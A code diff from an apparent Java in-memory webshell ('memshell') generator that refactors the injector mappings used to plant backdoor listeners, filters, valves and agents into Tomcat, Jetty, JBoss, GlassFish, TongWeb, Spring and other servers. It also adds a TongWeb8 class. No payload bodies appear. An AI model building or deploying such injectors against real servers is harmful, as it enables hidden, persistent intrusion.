|
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
|
||||||
@@ -17,8 +18,8 @@ public class ApusicShell extends AbstractShell {
|
|||||||
|
|
||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -33,6 +34,7 @@ public class ApusicShell extends AbstractShell {
|
|||||||
.addInjector(LISTENER, ApusicListenerInjector.class)
|
.addInjector(LISTENER, ApusicListenerInjector.class)
|
||||||
.addInjector(FILTER, ApusicFilterInjector.class)
|
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, ApusicFilterChainAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,8 +22,7 @@ public class BesShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, BesFilterInjector.class)
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,15 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -22,7 +19,7 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
try {
|
try {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -44,16 +41,14 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,12 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -24,16 +22,14 @@ public class InforSuiteShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,12 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -24,13 +23,12 @@ public class JbossShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, JbossFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
|
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.*;
|
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -16,7 +19,7 @@ public class JettyShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
try {
|
try {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -44,7 +47,6 @@ public class JettyShell extends AbstractShell {
|
|||||||
.addInjector(SERVLET, JettyServletInjector.class)
|
.addInjector(SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.resin.*;
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -15,7 +18,7 @@ public class ResinShell extends AbstractShell {
|
|||||||
|
|
||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
response = ShellCommonUtil.getFieldValue(request, "_response");
|
response = ShellCommonUtil.getFieldValue(request, "_response");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -32,7 +35,6 @@ public class ResinShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, ResinFilterInjector.class)
|
.addInjector(FILTER, ResinFilterInjector.class)
|
||||||
.addInjector(SERVLET, ResinServletInjector.class)
|
.addInjector(SERVLET, ResinServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,9 +2,6 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.generator.ValveGenerator;
|
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -28,23 +25,6 @@ public class ServerToolRegistry {
|
|||||||
if (shellClass == null) {
|
if (shellClass == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
|
||||||
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
|
||||||
}
|
|
||||||
boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType));
|
|
||||||
if (isValve && shell instanceof TongWeb6Shell) {
|
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isValve && shell instanceof TongWeb7Shell) {
|
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isValve && shell instanceof BesShell) {
|
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
|
|
||||||
}
|
|
||||||
|
|
||||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
}
|
}
|
||||||
shell.addToolMapping(shellTool, toolMappingBuilder.build());
|
shell.addToolMapping(shellTool, toolMappingBuilder.build());
|
||||||
|
|||||||
+4
-4
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxHandlerFunctionInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxHandlerMethodInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxNettyHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxWebFilterInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcControllerHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcFrameworkServletAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
|
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcInterceptorInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
|
|||||||
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
import com.reajason.javaweb.memshell.injector.tomcat.*;
|
import com.reajason.javaweb.memshell.injector.tomcat.*;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -16,7 +15,7 @@ public class TomcatShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
try {
|
try {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -39,13 +38,14 @@ public class TomcatShell extends AbstractShell {
|
|||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, TomcatValveInjector.class)
|
.addInjector(VALVE, TomcatValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||||
|
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
|
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -25,9 +25,7 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,9 +25,7 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.tongweb.*;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/27
|
||||||
|
*/
|
||||||
|
public class TongWeb8Shell extends AbstractShell {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return TomcatShell.ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.undertow.*;
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
|
||||||
